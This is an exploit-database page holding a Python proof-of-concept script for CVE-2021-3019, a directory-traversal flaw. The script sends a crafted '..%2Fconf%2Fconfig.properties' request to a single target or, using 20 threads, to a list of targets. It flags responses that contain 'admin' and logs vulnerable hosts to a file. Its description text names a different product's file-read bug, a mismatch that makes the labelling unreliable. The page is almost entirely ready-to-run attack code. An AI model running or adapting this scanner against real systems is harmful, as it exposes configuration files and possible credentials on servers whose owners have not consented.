Exploit databaseDownload repository ZIP
GH-bcb2518709a05d33b04e0b4836e86f01
a1665454764/cve-2021-3019
Sources for CVE-2021-3019
7 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files2
a1665454764/cve-2021-3019Revision 147cac7b3209
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
CVE-2021-3019.py
Python · 2,795 bytes# -*- coding: utf-8 -*-
import argparse
import requests
from multiprocessing.dummy import Pool
requests.packages.urllib3.disable_warnings()
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 Edg/116.0.1938.62"
}
def banner():
test = """
_____ _ _ _____ _____ _____ _____ __ _____ _____ __ _____
/ __ \ | | | ___| / __ \| _ |/ __ \/ | |____ || _ |/ | | _ |
| / \/ | | | |__ ______`' / /'| |/' |`' / /'`| |______ / /| |/' |`| | | |_| |
| | | | | | __|______| / / | /| | / / | |______| \ \| /| | | | \____ |
| \__/\ \_/ / |___ ./ /___\ |_/ /./ /____| |_ .___/ /\ |_/ /_| |_.___/ /
\____/\___/\____/ \_____/ \___/ \_____/\___/ \____/ \___/ \___/\____/
tag: 目录遍历漏洞 CVE-2021-3019
@version: 1.0.0 @author: zl
"""
print(test)
def poc(target):
url = "http://" + target + "/..%2Fconf%2Fconfig.properties"
try:
res = requests.get(url, headers=headers, verify=False, timeout=5)
if 'admin' in res.text and res.status_code == 200:
result = "[+]{} is vulnerable".format(target)
print(result)
with open("output.txt", "a") as f:
f.write(result + "\n")
else:
result = "[-]{} is not vulnerable".format(target)
print(result)
print()
except:
print(f"[-] {target} error")
return False
def main():
parser = argparse.ArgumentParser(description='Alibaba AnyProxy fetchBody 任意文件读取漏洞')
parser.add_argument("-u", "--url", dest="url", type=str, help="example: http://www.example.com")
parser.add_argument("-f", "--file", dest="file", type=str, help="urls.txt")
args = parser.parse_args()
if args.url and not args.file:
poc(args.url)
elif args.file and not args.url:
url_list = []
with open(args.file, "r", encoding="utf-8") as file:
for url in file:
url_list.append(url.strip().replace("\n", ""))
mp = Pool(20) # 20自己指定的线程数
mp.map(poc, url_list) # printNumber 函数 target 目标列表
mp.close()
mp.join()
else:
parser.print_help()
if __name__ == "__main__":
main()
banner()